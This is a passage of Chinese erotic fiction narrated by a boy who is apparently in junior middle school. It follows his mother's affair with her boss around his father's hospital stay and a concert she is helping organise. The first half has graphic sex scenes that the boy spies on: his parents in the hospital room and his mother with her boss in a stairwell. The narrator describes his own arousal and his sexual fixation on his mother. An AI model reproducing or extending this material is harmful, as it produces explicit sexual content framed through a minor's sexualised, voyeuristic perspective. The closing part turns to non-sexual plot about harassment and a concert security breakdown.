为了能多陪陪爸妈,同时也不耽误学习,有时我会把作业带到医院去写。
推开病房门,总能看到我妈忙碌的身影。
她会耐心而轻柔地帮我爸擦拭身体,按摩他僵硬的关节,一勺勺给他喂饭。
她还每天特意去医院外的饭店,带回我爸平时爱吃的饭菜,好让他能多吃几口……
在我妈的精心照料下,我爸的气色一天比一天好。
他的伤腿虽然还打着笨重的石膏,但脸色肉眼可见地红润起来,眼神也比刚住院时清亮了不少。
后来,他甚至可以自己下地,拄着拐杖在走廊里活动了。
我爸话语也渐渐多了起来,不再像刚住院时那样沉默寡言,脸上也露出了久违的笑容。
他们之间的那种生硬感,像是被我妈一天天细致耐心的照顾慢慢抹平了。
闲暇时,我妈会兴致勃勃地谈论她在南方的见闻,我爸总是安静地听着,偶尔会插上一两句,问问那边的情况。
我爸喜欢看报纸,我妈就陪他一起看新闻,有时看到娱乐版块,还会点评几句,说哪个明星又整容了。
只是有时候,我妈会突然接到电话,然后她就会压低声音说一句:“我出去接个电话”,然后神色匆匆地走到病房外面,很久才回来。
有好几次,我看到她回来的时候,脸上都带着一丝不易察觉的红晕。
“什么电话啊,这么久?”我爸随口问了一句。
“公司的事儿呗,还能有啥?吴总又在催演唱会的事儿,烦都烦死了。”
我妈把手机往挎包里一塞,然后拿起报纸,转移了话题。
“今天报纸上说……”
我注意到,我爸的脸色似乎变得有些阴沉,但他什么也没说,只是默默地看向窗外……
看到我妈独自照顾我爸这么辛苦,我和姥姥商量后,决定周末的时候我留在医院陪陪父母,这样我妈也能稍微放松一下,或者回家休息一晚。
我妈也欣然同意了,她让我睡在外间的陪护床上,她自己则从护士那边借来了一张折叠床,放在了里间病房的角落里,方便晚上照应我爸。
医院的夜晚很漫长。九点之后,护士查完房,走廊就安静下来,只有远处偶尔传来的脚步声。
我睡在外间的陪护床上,迷迷糊糊地进入了梦乡。
夜深人静时,我被一阵细微的声音吵醒。
起初,我以为是我爸睡不安稳,翻身的声音。
但很快,我听到了一些更细微的、不同寻常的声响,像是衣物摩擦的声音,又像是低语……
我悄悄地从陪护床上爬起来,好奇地凑到门边。
门并没有完全关严,留着一条细细的缝隙。
玻璃窗透出的光线,在我的眼底勾勒出模糊的剪影,继而渐渐清晰……
病床上,我妈全身上下一丝不挂,如同一位体恤伤兵的女王,以女上位跨坐在我爸身上。
她曲线玲珑的躯体,在昏暗中犹发出白瓷温玉般的莹润,高挑的身形此刻显得格外富有弹性与力量。
我爸的腿打着石膏,行动不便,只能躺在床上,任由我妈主导一切。
她螓首微仰,从我的角度看去,瀑布般倾泻的长发在她雪白的脖颈上投下淡淡的阴影,反倒更衬托出那优美的锁骨线条。
“嗯……”一声细微的呻吟,像是从我妈喉咙深处溢出,转瞬即逝。
那高耸硕大的乳房,随着她身体的每一次颠簸,像两颗熟透的果实般颤巍巍地弹跳。
她的双手抵着我爸的胸膛,那丰满而圆润的臀部如波浪般起伏,温柔而有力地套弄着我爸沉寂已久的性器,每一次摆动都描绘出诱惑的弧度,充满了节奏感和韵律美……
“嗯……”我爸发出压抑的喘息,混杂着床铺轻微的“吱呀”声,在这寂静的夜里显得格外清晰。
他的两手轻抚着我妈圆润修长的大腿,仿佛在触摸失而复得的珍宝……
我妈研磨的律动,初时缓慢而温柔,带着安抚的意味,像春日溪流,缓缓滋润着干涸的河床。
尔后节奏渐渐加快,变得更为热烈与奔放,我妈的呼吸也逐渐急促起来,间或夹杂着几声细碎的喘息。
“啊……”我妈的声音终于控制不住地昂扬了起来,似带着几分痛苦,几分愉悦,还有几分难以言说的释放。
“琴……”我爸低声喘息着,急切地抬起双手,捉住了我妈胸前那两大团上下甩动的雪白,肆意揉捏着,仿佛在感受着那饱满和弹性,那两团丰盈在他的大手里变幻着各种形状,我妈也随之发出更长的呻吟。
她俯下身子,如缎的长发垂落在我爸胸前。
我妈双手撑床,腰肢如水蛇般款摆,臀部富有节奏地套弄着,雪白的脊背泛着圣洁的光,宛若月宫中的仙女。
她在用自己最原始的力量,安抚着丈夫受伤的身体和同样备受创伤的男性尊严。
床铺剧烈地摇晃,发出令人不安的“咯吱咯吱”声。
“老婆……我要射了……”我爸的声音粗重而急促,像是拉着风箱一般。
“嗯……射吧……我安全期……”我妈喃喃地说,她俯身紧紧地抱住我爸,身体也更加剧烈地扭动起来,仿佛要把自己完全融入他的怀抱。
“射了……”我爸低吼一声,像是在宣示他对这具美妙胴体的占有权。
他猛地一颤,随即长舒了一口气,渐渐放松下来。
我妈终于停止了律动,缓缓地从我爸身上滑落,侧身偎依着我爸。
随着她的动作,我爸疲软的性器也从她的体内滑了出来,似乎带出一丝闪亮晶莹的液体。
我妈的呼吸依然有些急促,她伸出手指,轻轻地在我爸的胸膛上画着圈圈,眼眸在昏暗中似有亮光,仿佛在回味着刚才的激情,又仿佛在期待着更多。
我爸伸手把我妈搂过来。
“淑琴,你跟那个吴老板,到底……”
我妈轻轻地握住我爸的手,说:“老林,你想啥呢?人家吴总是我的贵人,也是你的恩人!没有他,你能住上这单间?安心养病吧你!”
她说话时,东北女人的那种泼辣劲儿又回来了。
“好了,好了,我不问了,你回来了就好……”
我悄悄地回到自己床上。或许一切都会好起来的。
第二天上午,我妈接了个电话,便匆匆对我说:“儿子,妈出去给你爸买点儿水果,你看着点滴。”
说罢便拿起挎包,踩着高跟鞋,哒哒哒快步出去了。
我突然想让我妈给我买点饮料,就赶紧追出门去。双休日这里的病区走廊没什么人。
跑了几步,我便看见我妈一袭红裙的高挑身影已轻快地走到楼道拐角处,我正要喊她,却见一个身影迅速地将她拉进了楼道拐角处的消防通道。
我心中疑惑,赶忙尾随过去,小心翼翼探头一看,竟然看到,在角落处,我妈和吴伯伯紧紧搂抱在一起亲嘴。
那楼道人迹罕至,阳光透过窗棂,却无法打破这份异样的静谧。
在他们身边,我妈那个精致的黑色挎包静静地躺在粗糙的水泥地上,与周围的环境格格不入。
穿着高跟鞋的我妈,比西装革履的吴伯伯高了大半头。
吴伯伯紧搂着我妈的腰,将她抵在墙壁上,我妈双臂环住吴伯伯的脖子,吴伯伯仰着头,我妈微弯着腰,两人交颈拥吻着,贪婪地索取着对方的气息,唇舌相交间,发出啧啧的水声,我妈的红色裙摆随着她的动作轻轻摇曳,仿佛一团燃烧的火焰,空气中弥漫着一种暧昧而潮湿的气息。
“阿琴,我现在真系一刻都离唔开你,一日唔见就好似隔咗三个秋天咁啊!”
吴伯伯喘息着,带着南方口音的普通话因为急促而变得更加模糊,带着一股子情欲的黏腻。
他的手掌从我妈的裙摆探入,迅速向上游走,抚摸着那雪白圆润的大腿……
“哎呀,吴哥,这可是医院啊,让人看见了还得了!”
我妈嘴上说着嗔怪的话,声音却软糯得像一团棉花,她纤细的手指在吴伯伯削瘦的后背上游移。
吴伯伯的手探入我妈的双腿之间,我妈的身体微微一颤,发出一声轻呼,随即紧紧地咬住嘴唇,似乎在极力克制着自己。
随着吴伯伯的动作,我妈的呼吸越来越急促,伴随着连绵的呻吟。
突然,吴伯伯放开了她,他急切地把我妈的红色连衣裙撩到腰间,露出了包裹着蕾丝内裤的下体。
肉色的内裤与雪白的肌肤融为一体,勾勒出饱满而圆润的轮廓。我妈的丝质内裤被他急切地褪下。
“哎呀,吴哥你慢点……”我妈嗔怪着,却顺从地抬起丝袜长腿,配合他的动作褪去内裤。
就在她抬腿的那一瞬间,我清晰地看到了一片隐秘的风景——在大腿上肉色高筒丝袜的映衬下,赤裸的阴部惊鸿一现,黑亮的阴毛如海藻般蓬勃而充满生命力,粉色的阴唇因情动而微微肿胀,闪烁着诱人的光泽。
脱下的内裤中央隐约可见一片水渍,吴伯伯顺手将它塞进了西服裤兜。
紧接着,他便急不可耐地解开腰带,把下衣一把扯到膝盖,露出了青筋暴露的黝黑阴茎。
吴伯伯一把抱起我妈的一条腿,抬至腰侧,他另一只手扶着阳具,踮起脚来,试图插入我妈的阴部。
“吴哥,轻点儿,我可站不稳当了!”我妈连忙扶住他的肩,她嘴里娇嗔着,眼中却闪烁着迷离的光芒。
然而,由于身高差距,吴伯伯即使踮起脚尖,也难以准确地找到入口。
他有些尴尬地喘着粗气。
“咯咯咯……”我妈见状忍俊不禁,娇笑起来。
“你个老不正经的,真是心急吃不了热豆腐!”
说罢,我妈做出了一个大胆而优美的动作——她将那条被吴伯伯抱着的、穿着肉色丝袜的大长腿高高抬起,一字马般地搭在他的肩头,然后微微弯下腰,一手扶墙,一手轻柔地引导着吴伯伯的阴茎,对准自己的穴口。
这一幕让我血脉偾张。
吴伯伯用肩膀扛着我妈的一条腿,我妈整个人以一种不可思议的角度向后仰着,仅靠着另一只穿着高跟鞋的脚站立在地上,支撑着全身的重量。
她就像一只被捕获的火烈鸟,一条修长的腿高高抬起,架在吴伯伯的肩头,另一条腿微微颤抖着,努力维持平衡。
在肉色丝袜的包裹下,她的双腿显得更加修长笔直。
脚上那黑色的细高跟鞋,如同黑夜中的星辰般,散发着性感而优雅的光芒。
细长的鞋跟仿佛锋利的刀刃,无限延伸着腿部线条。
鲜红色的连衣裙包裹着她丰满的上身,勾勒出迷人的曲线,裙摆却被高高撩起,露出大片雪白的肌肤和闪耀着诱人光泽的肉色丝袜,与上身的端庄形成了强烈的视觉反差,显得诱惑至极。
这一字马的姿势,将她身体的曲线展现到了极致,从紧绷的小腿,到圆润的大腿根部,再到挺翘的臀瓣和柔韧的腰肢,形成了一张被拉到满月的弓,绷紧了每一寸肌肉,只为了那致命的一击。
吴伯伯的阳具在我妈下体的湿润中找到了归宿,他猛地一挺腰,阳具连根没入。
我妈的身体瞬间绷紧,一声压抑的呻吟从她喉咙深处溢出。
她的身体在这种危险而刺激的体位中,展现出惊人的柔韧与欲望。
她的一条腿颤巍巍地支撑着,另一条腿则压在吴伯伯的肩头,为了站稳,我妈双臂紧紧环住吴伯伯的脖子。
两具躯体在楼道斑驳的阳光下,奏响了一曲高难度的交合之舞。
我妈单腿站立,在吴伯伯每一次猛烈的挺进下,丰满的胸部和臀部剧烈地抖动,而身躯却如一株风中白杨,虽摇曳不止,却始终坚韧挺立。
她仰着头,脖颈拉出一条优美的天鹅曲线,口中发出的已不再是呻吟,而是一种近乎痛苦的嘶嘶声。
两人的交合处传来“噗嗤噗嗤”的水声,在空旷的楼梯间里回荡,显得格外淫靡……
“阿琴,你呢个身子,真系要攞我条老命喇!”
吴伯伯喘着粗气,声音沙哑而充满欲望。
“呢种滋味,就算系仙女都比唔上啊!”,“成天贫嘴,赶紧整,别让人瞅见了!”
我妈眼神迷离地颤声催促道,身体却更加紧密地迎合着。
吴伯伯的每一次撞击,都让空中的灰尘在从窗户透进来的光束中,疯狂舞动我妈的身体在他的冲击下,如一叶在风暴中剧烈晃动的舟,摇摆不止,却又奇迹般地保持着平衡。
“快……快要射喇!阿琴!”
吴伯伯的身体猛烈地颤抖着,声音带着无法抑制的兴奋……
“整吧,往里整!我这几天是安全期!”
我妈的嗓音也有些变调,带着情欲的放纵和东北女人的爽快。
吴伯伯一声闷哼,我妈的身体猛地绷紧,脚下的高跟鞋在地面上划出一道刺耳的轻响。
吴伯伯在她体内尽情释放后。
“噗嗤”一声,阳具从我妈体内拔出,一股浓稠的乳白色液体顺着我妈白皙的大腿根部缓缓流淌下来,在肉色丝袜上留下蜿蜒的痕迹,闪烁着生命的光泽。
空气中也弥漫着一股淡淡的腥臊味。
我妈两股颤颤,全靠吴伯伯的抱扶着才没有滑倒。
她脸色潮红,红唇微张,眼神空洞,胸口剧烈地起伏着。
随着吴伯伯将我妈的腿从肩头放下,那件原本被撩到腰间的红色连衣裙,也随之缓缓滑落,遮住了大半的春光,却欲盖弥彰,更显诱惑。
裙摆在空气中划出一道优美的弧线,最终停留在了一个略显凌乱的位置,仿佛在诉说着刚才发生的一切……
吴伯伯在我妈潮红的脸颊上亲了一记,脸上带着一丝得意。
我妈慵懒地斜睨了他赤裸的下身一眼,带着几分娇嗔道:“哎呦,吴哥,你说你这人,咋每次都射这么多呢,万一真有了,看你咋办!”,“哎呀,怀咗就生咯!讲唔定是个仔呢。”
吴伯伯眉飞色舞地笑着,眼里闪烁着一丝期待。
“咁我吴家就有后啦!可惜我老吴至今只有一个女,仲要远嫁去美国。”‘去你的吧,老不正经的,想得美!’我妈眼神妩媚,嘴角微微上扬。
“哼,就算真怀上了,我也得寻思寻思,看你表现呗!”
吴伯伯闻言,眼中闪过一丝黯然,他叹了口气,有点落寞地说:“唉,可能我呢世人,注定冇仔女缘咯,强求都冇用嘅。”
看到吴伯伯失落的样子,我妈轻轻地握住吴伯伯的手,语气温柔地安慰道:“吴哥啊,这事儿也别太往心里去,儿孙自有儿孙福,没准以后你外孙也姓吴呢!再说了,没儿子咋地,你还有我呢。”
顿了顿,她又补充了一句,语气中带着一丝娇羞:“没准儿哪天,我心一软,真给你吴家添个小子儿也说不定呢!”
突然,我妈跪了下去,她抬手轻柔地握住吴伯伯的阴茎,仿佛握住一件珍贵的艺术品,然后红唇轻启,温柔地含了进去,为他细细地清理着余秽。
吞吐间,她的眼神迷离,夹杂着难以言说的禁忌与沉沦。
吴伯伯眼神惊喜,伸出手轻轻地抚摸着我妈的长发,随即享受地仰起头来,闭上眼睛。
我妈跪在那里,口中含着吴伯伯的阳具,上下舔弄,如同品尝一支美味的冰淇淋。
她那乌黑的长发如瀑布般倾泻而下,与红色的连衣裙交织在一起,而脚上那双黑色高跟鞋的纤细鞋跟,正抵触着被红裙紧密包裹的丰硕臀部,形成一幅令人屏息的、充满张力的对比画面。
完事后,我妈缓缓起身,顺势拾起掉落在地的挎包。
她从中抽出几张纸巾,然后轻轻提起裙摆,神情有些不耐地擦拭着下身的粘腻。
此时吴伯伯已穿好衣裤,他拍拍西服裤兜,笑嘻嘻地说:“阿琴,呢条内裤就留低我呢度啦。”
我妈抬头白了他一眼,没好气地说:“咋的,你还想留着做纪念啊!”
吴伯伯嘿嘿一笑,说:“是呀,这几天唔可以时时见面,咪可以睹物思人咯嘛!”
我妈嘴角勾起一抹无奈又纵容的弧度,没再搭话。
她随手将那团沾染着痕迹的纸巾,轻轻抛进了楼道里的垃圾桶里。
随后,她不着痕迹地抚平了裙摆的褶皱,那姿态,分明是默许了吴伯伯的要求。
吴伯伯亲昵地揽住我妈的纤腰,隔着薄薄的连衣裙,手指在她饱满的臀线上轻轻摩挲。
红色连衣裙如同一层薄纱,完美地展现了我妈的身体曲线,视线向下游走,却找不到内裤存在的痕迹。
吴伯伯笑着说:“走啦,靓女,我陪你企买内衣啦!”我妈娇嗔的白了他一眼。
眼见他们就要折回,我勉强压下内心的震荡,匆忙躲开……
当我妈提着果篮,脚步略显疲惫地回到病房时,我忍不住问道:“妈,你……你下楼买水果怎么去了几个小时?”
我爸拧着眉头,也疑惑地问:“咦?咋去了这么久?我还寻思着你是不是迷路了呢。”
我妈摸了摸我的头,把果篮子往床头柜上一放,也没急着说话,她坐在了我爸床头的椅子上,轻轻捶了捶肩膀,脸上波澜不惊:“吴总那边临时出了点状况,香港那边有点事儿,非得让我去处理,我跟着跑了一下午,累死我了。你以为他这段时间都猫在哪儿呢?不就是一直东北、香港两头跑,沟通协调那些业务细节嘛。这不,刚回来东北,屁股还没坐热,就开始跑这边的关系。”
看到我爸表情里透着那么点儿怀疑,我妈往他身边凑了凑,用手轻轻地拍了拍我爸的胳膊,笑着说:“哎呦喂,你瞅你那小眼神儿,想啥呢!这回吴总可是亲自上阵,为了啥?还不是为了那个现在火得冒油的香港大明星华周来咱这旮旯演出这事儿呗!这事儿啊,可不是一天两天了,老早就开始筹备了,跟华周的经纪公司都唠明白了,文化部门的批文也批下来了。现在吴总亲自来,就是要把咱东北这边的关系都捋顺喽,上上下下都得打点明白。”
说到这儿,她叹了口气。
“哎妈呀,说起来我都觉得累!今天我啊,就跟着吴总跑前跑后的,先是见了公安局的何副局长,又去见了安保公司的崔经理。你说这事儿吧,听着光鲜,可这跑腿儿的活儿,真是遭罪啊!”
说完,她又捶了捶腰……
我爸眉头舒展开来,说:“哎呀,看你累的,快歇歇吧。这事儿再重要,也得顾着自己的身体啊!不过我说,你们这边分公司不是还有不少人吗?咋老是搁这儿可劲儿造你呢?”
我妈笑了笑,说:“哎,你是不懂。这事儿吧,还真就得我出马。之前跟香港那边经纪公司对接,都是我在负责,人家点名要我。而且我是咱本地人,这上上下下的关系也好打点,有些事儿啊,别人还真就抓瞎。”
“再说了,人家吴总也不是白叫我这么累的。他可跟我说了,这演唱会要是办成了,除了平常工资,还会给我一大笔提成,年底的分红也肯定少不了我的。”
“你知道的,咱家现在这个情况,多挣点钱总是好的,小然以后上学、结婚,哪样不得花钱?所以我现在是打定主意了,就算累死累活,也得把这事儿给办成了!”
“这可是个露脸的好机会,到时候我在公司里的地位,也能跟着水涨船高,谁也说不出啥来!”,“接下来可有的忙活呢。”她顿了顿,喝了口水。
“场地、设备、安保、宣传……哪个环节都掉链子都够呛。这华周可不是小明星,这台演出要是砸了,不光公司在东北这块的声誉受影响,前期投进去的那些钱可就真打了水漂了。所以说啊,现在是箭在弦上,不得不发,再累也得咬着牙挺住,争取把这事儿办得漂亮!”
我坐在病床边,看着我妈侃侃而谈,神采飞扬,消防通道里那一幕仿佛从未发生,只是一场虚幻的梦境。
她穿着那条红艳的连衣裙,随意地翘起二郎腿,高耸的胸脯随着说话微微起伏,纤细的腰肢在连衣裙的包裹下更显曲线玲珑,裙裾下露出的腿部,肤若凝脂。
在红裙的映衬下,白皙的肌肤仿佛散发着柔和的光泽我忍不住盯着她的腿看,那流畅而紧实的线条,让我无法移开视线,心里有一个挥之不去的疑问:她现在,穿着内裤了吗?
接下来的半个多月,我妈似乎真的被公务缠身,忙得不可开交。
她请了个男护工,白天照料爸爸的起居,晚上她再赶到医院陪床。
姥姥彻底病愈后,我又回到了由姥姥照顾的生活。
一个周末,我随姥姥去医院探望我爸,护工周师傅热情地迎了上来:“小然你来啦!这几天没见着你,我还寻思你是不是学习太忙,没空来看你爸了呢。”
姥姥笑眯眯地说:“哎呀,周师傅,真是太感谢你了!有你照看我家小林,这几天看他精神头都好多了。”
她转头看向我爸,说:“小林啊,这几天咋样啊?有没有哪不得劲儿?可别硬抗着,有事儿就赶紧跟医生、跟周师傅唠唠。”
我爸对姥姥说:“妈,我感觉好多了,多亏周师傅费心。淑琴还老从外面给我带好吃的。”
姥姥又絮絮叨叨地叮嘱了我爸几句,无非是好好吃饭、好好休息之类的话。
周师傅搓了搓手,凑近我,压低声音说:“小然,跟你说啊,你妈最近是真忙,成天不见人影。”
说着,他眼神飘忽了一下,似乎想起了什么,嘴角露出一个略带回味的笑容。
“说起来,你妈真是……哎呦,那叫一个漂亮!每次来啊,都打扮得板板整整的,那身段,那模样,真是没得挑!看着都让人精神一振!”
他顿了顿,又压低声音说。
“你爸能娶到这么个媳妇,真是好福气啊!哈哈你爸这儿,你就放心吧,有你周伯伯在,指定给你照顾的妥妥的。你现在是念初中了吧?可得好好读书,将来考个好大学!”
从病房出来,我和姥姥刚下到一楼,就看到一个熟悉的身影正朝我们款款走来。
“妈!”我兴奋地喊了一声。
即使在进进出出、带着夏日燥热气息的人群中,我妈依然扎眼得很:她身穿;
一套白色女式西装,刚过腰线就利落收窄,把腰肢衬得纤细又紧实,蓝色衬衣解开了几颗纽扣,露出一片白皙的锁骨,胸前鼓鼓囊囊,醒目得呼之欲出,下身是同色一步裙,高腰设计刚好卡在腰最细的地方,显得腰臀线条格外鲜明,裙摆刚过膝盖,走动时能看到小腿线条笔直匀称。
脚上是米白色细高跟鞋,鞋跟敲在地面上发出“嗒、嗒”的声响,一头乌黑亮丽的长发随意地披散在脑后,几缕碎发垂在光洁的额角,更衬得她明眸皓齿,顾盼生辉。
“哎呦,小然,妈,你们来啦!”我妈笑着迎上来。“走,今天咱下馆子好好改善一下伙食!”
姥姥笑着拍了拍我妈的手,说:“不了不了,你们去吧,我这老太婆吃不惯外头那大鱼大肉的,还是回家整点清淡的,吃着舒坦!”
她转头对我说:“小然,你去吧!你小子正窜个儿呢,听你妈的话,可劲儿造,别心疼钱!”
我妈和姥姥又说了几句,最后商定我晚上就住在医院,明天早上她再送我回家。
姥姥自个儿颠儿颠儿地去公交站坐车走了,我妈则拉着我,在医院附近找了一间门面堂皇的饭馆走了进去。
“妈,咱来这嘎达吃饭,是不是忒贵了啊?”我有点犯嘀咕。
我妈笑着揉了揉我脑袋:“你这孩子,还挺懂事!放心吧,钱的事儿你甭操心,好好念书才是正格儿的!”
我妈给我点了几个我爱吃的硬菜,又要了一大碗米饭,自己却只是象征性地扒拉了几筷子。
我闷头干饭的时候,我妈掏出她那银色的摩托罗拉手机,走到一旁打起了电话……
“喂,吴哥啊……嗯,小张把我送回来了……哎呀妈呀,别提了!那个安保公司的崔经理又给我打电话磨叽,非要约我出去吃饭,烦死个人了!”
我妈的声音里带着厌恶。
“嗯,我知道,我跟他说八百遍了,让他以后别再整这出儿了……唉,也不知道咋整才能让他听进去……”
我隐约听到电话那头传来吴伯伯的声音:“唔使理它啦!要唔系呢间安保公司同差馆那边有少许关系,我老早就换咗它哋!你放心,呢件事交俾我处理,你唔使担心,阿琴,你……”
我妈飞快扫了我一眼,指尖攥着手机转身往卫生间走。
她本就高挑的身材,踩着细高跟更显挺拔,鞋跟敲在饭馆地砖上。
“嗒、嗒。”声混在喧闹里却格外清亮。
那套白色收腰的职业装,将她浑圆硕大的臀部曲线完美地勾勒出来,腰身和臀部的比例惊人,完美的曲线在饭馆暖黄的灯光里摇曳生姿。
整个人邻桌几个喝酒的男人下意识抬了头,目光黏在她背影上,那毫不掩饰的侧目,明晃晃地落在她高挑身形衬出的完美曲线上。
吃完饭,我妈带着我回医院,微风轻轻吹来,带着点夏夜的凉意。她关切地问我:“最近学习怎么样?功课紧不紧?别把身子累坏了。”
我们一边聊天,一边沿着马路散步。
快到住院楼下时,她挎包里的摩托罗拉突然震了起来。
她掏出手机一看,眉头瞬间皱紧,接起电话时声音压得很低:“喂?”
没等她说第二句,电话那头就炸开个粗哑的男声,满是流氓气的公鸭嗓刺得人耳朵疼:“大妹子,我跟你说,别敬酒不吃吃罚酒!你跟你们那吴老板没一腿谁信啊!穿得那么骚,还装什么贞洁烈女?呵呵,咱走着瞧!”
我妈脸色唰地白了,又猛地红起来,攥着手机的手都抖了一下,她飞快瞥了我一眼,咬着牙低吼:“你胡说八道什么!再骚扰我,我报警了!”
说完,她“啪”挂了电话,把手机往挎包里一塞,对我勉强挤出一个笑容,说:“小然,你自己先上楼啊,妈这儿还有点事儿。”
我有些担心地看了看她,但还是听话地点点头,转身朝住院楼走去。
刚踏上几级台阶,我忍不住回头看,只见我妈没在原地待着,她紧绷的背影往楼前的凉亭走去,那部银色摩托罗拉贴在耳边。
夏日的夜风拂过她的长发,我隐约捕捉到“吴哥” ‘姓崔的’ “威胁”几个零碎的词。
我回到病房,看到我爸正和周师傅有一搭没一搭地聊着天。
夏风从窗缝吹进来,空气里弥漫着淡淡的消毒水味,还夹杂着一丝令人烦躁的闷热。
没过多久,我妈也回来了,表情淡漠得像一面被岁月打磨的镜子。
接下来的日子,我因为要上学,并没有经常去医院,只是偶尔从姥姥口中得知,我妈依然忙得脚不沾地,白天处理公司的事情,晚上还要赶到医院照顾我爸时间过得飞快,转眼就到了华周演唱会的日子。
演唱会这天,我妈特意把我带到现场见世面。
体育场外早已人潮涌动,热浪滚滚,空气中弥漫着热烈而欢快的气息。
穿着制服的保安们来回穿梭,努力维持着排队购票的秩序,喧闹的人群依然拥挤不堪。
人们在售票车前排起了蜿蜒的长队,希望能买到一张入场券,享受这场音乐盛宴。
远远地,我看到警车闪烁的警灯,像夜空中耀眼的星辰。
穿行在人流中,我拽了拽我妈的衣角,好奇地问:“妈,这票老贵了吧?”
我妈笑着摸了摸我的脑袋,说:“那是!这门票可不是闹着玩儿的,专门请香港那边的设计师设计过的,又是精美插画,又是特殊防伪,可有艺术范儿了。不少华周的铁杆粉丝都把这门票当宝贝疙瘩收藏呢。为了防止黄牛倒票,还有那些做假票的扰乱市场,这次演唱会没卖出去的票,都要装到密封箱里,由专人送到指定地点集中焚毁呢。”
我吐了吐舌头,心想一张纸片儿竟然有这么多门道。
我们随着人流往前走,经过售票车时,一位工作人员眼尖地看到了我妈,热情地打招呼:“程姐!”我妈也笑着回应。
短暂的寒暄过后,我妈领着我绕到体育场的后台入口处。
我看到几个身材魁梧的保安把守着入口,进出的工作人员都佩戴着统一的胸卡。
这时,一个穿着笔挺西装、脑袋油光锃亮的秃头男人,在几个保安的簇拥下大剌剌地走了出来。
门口的保安立刻挺直腰板,恭敬地跟他打招呼,称呼他“崔经理”。
崔经理眯缝着眼睛,皮笑肉不笑地朝我妈点了点头,:“程姐你来啦?真是辛苦……”
那公鸭嗓里带着一股子油腻的腔调,听得人耳朵发痒。
他的目光在我脸上肆无忌惮地打了个转,带着一种令人不舒服的审视意味,看得我浑身不自在。
我妈只是淡淡地瞥了他一眼,脸上没有任何表情,连客套的笑容都没有。
她只是冷冷地“嗯”了一声,便转过头,带着我走进去,仿佛根本没把他放在眼里那种冷淡的态度,就像是在对待一只令人厌恶的苍蝇,恨不得立刻拍死。
穿过入口时,我隐约听到身后传来崔经理阴阳怪气的声音:“装什么清高,不就是个……”
后面的话他压低了声音,我没能听清楚,但从他那轻蔑的语气中,也能猜到肯定不是什么好话。
我妈握着我的手紧了紧,但她什么也没说,只是加快了脚步,仿佛要将那些污言秽语甩在身后。
跨过一道厚重的防火门,喧嚣被瞬间隔绝,一股混合着脂粉香气和消毒水味道的特殊气味扑面而来。
走道狭窄而曲折,像迷宫般延伸。工作人员胸前挂着通行证,手里拿着对讲机,步履匆匆,房间门上贴着各种标识:艺人休息室、服装;
间、化妆间、乐器室、技术控制室……
有些门半开着,能瞥见里面忙碌的身影。
艺人休息室的门外,保安笔直地站立,神情严肃,仿佛一道无形的屏障。
服装间的门缝里,偶尔会闪过亮片和羽毛的光泽。
而技术控制室的门,则显得格外神秘,似有低沉而持续的嗡鸣传出。
我们沿着这条充满紧张气息的走廊前行,走到一个挂有“现场协调中心”招牌的房间门口,恰好有一人匆匆走出,我定睛一看,原来是张叔叔。
他看到我们,眼睛一亮,连忙迎上前来,脸上带着掩饰不住的焦急,压低声音,语速飞快地说:“程姐,可算等到你了!吴总正急着找你呢,出状况了!这帮保安,简直是胆大包天,竟然私下收钱放人进来!现在观众都还没正式进场呢,体育场里头已经混进不少没买票的了,简直是乱套了!崔经理这会儿是出去组织清场了,可我看他那副德性,这事儿八成要黄!”
说着,他无奈地摇了摇头我妈示意我稍等,便同张叔叔一道,神色凝重地走了进去。
我竖起耳朵,隐隐约约听到吴伯伯的声音,那带着浓重港腔的普通话,此刻透着一股子火气:“搞乜嘢搞啊!上午何局长才在市局开过协调会,呢个保安公司竟然敢在我嘅演唱会上搞呢一出?大门那度除咗保安公司嘅人,仲有差佬在度守住,它哋点敢公然放人入场?我睇啊……呢少许水恐怕深得很,搞唔好差佬那边都有人参与咗!”
我妈的声音随即响起,带着斩钉截铁的决断,语速快而清晰:“演唱会还有一个半小时就要开始了,现在必须当机立断。当务之急是立即清场,把那些混进来的闲杂人等,全部请出去。崔经理那边,我看是指望不上了。这样吧,我去和经纪公司的梁经理沟通,咱们自己组织人手,立刻开始清场!”
吴伯伯的声音随即传来:“小程,你呢个思路系啱嘅。咁就分头行动啦。你去同梁经理对接,务必要将我哋嘅人手调动起嚟,越快越好。我呢边呢,就直接联络何局长,请它亲自嚟现场坐镇。呢种局面,需要它呢个层级嘅领导压阵,先至可以真正稳得住。”
我妈从协调中心出来后,然后让张叔叔带我去工作人员休息室,她自己则神色匆匆地带着几个人,快步离开了。
张叔叔把我安顿到一个挂着“临时休息区”。
招牌的房间,拍拍我的肩膀,说:“小然,你在这儿乖乖待着,别乱跑,叔叔得去现场帮忙。”说完,他也急匆匆地走了。
我在休息室里待了很久,觉得太无聊,就溜到门口。
走廊里人来人往,我隐约听到有人在对讲机里喊着:“清场完毕!各部门注意,开始组织观众有序入场!”
这时我突然瞥见我妈的身影,她神色凝重,几乎是小跑着赶回来,闪身进入协调中心。
紧接着,一阵嘈杂的争吵声和推搡声从后台入口的方向隐约传来,走廊里人影凌乱,伴随着对讲机里断断续续、带着电流杂音的急促汇报。
我竖起耳朵,努力辨认着那些模糊的词句,终于拼凑出了一个令人心惊的事实:“清场出来的人,都聚集到后台入口了!有人带头闹事,好像是地痞流氓!要冲击入口了!”
更糟糕的是,我听到有人焦急地低语:“保安那边,不知道怎么回事,开始划水了!根本没尽力拦……”
空气中弥漫着一股山雨欲来的压迫感。
原本还算有序的后台,此刻仿佛被投下了一颗石子,涟漪迅速扩散,各个房间门口里都开始出现探头探脑的身影,几个穿着亮片演出服的伴舞也站在走廊里张望。
甚至连艺人休息室外,原本纹丝不动的保安,也窃窃私语起来。
整个后台,就像一只被惊扰的蜂巢,充满了骚动和惶恐……
我忐忑地缩回房间。突然,入口的防火门那里传来一片喧嚣,我探头望去,只见防火门“轰”地一声被猛地撞开。
紧接着,一股裹挟着粗俗叫骂和推搡声的洪流瞬间涌入走廊,一帮闹事的人硬生生闯了进来。
为首的几个面目狰狞,还有人赤裸着上身,露出各种纹身,形象非常凶恶。
“草泥马,给老子让开!老子也是出了钱才进场的,凭什么把老子轰出来!”‘华周呢?让华周出来,给个说法!’“退票!退钱!黑心商家,坑老百姓血汗钱!”
混乱之中,我惊恐地发现,我妈竟然率先从协调中心里冲了出来,她身后紧随着几个神色紧张的工作人员。
他们一起迎向那群暴徒,本能地试图形成一道人墙,试图阻止他们继续向前。
我妈挡在了最前面,声色俱厉地喝道:“都给我站住!想干什么?!这里是演唱会后台,不是你们撒野的地方!谁敢再往前一步,就给我报警抓起来!”
她的声音虽然在嘈杂中显得有些单薄,却字字清晰,带着一股不容置疑的威严。
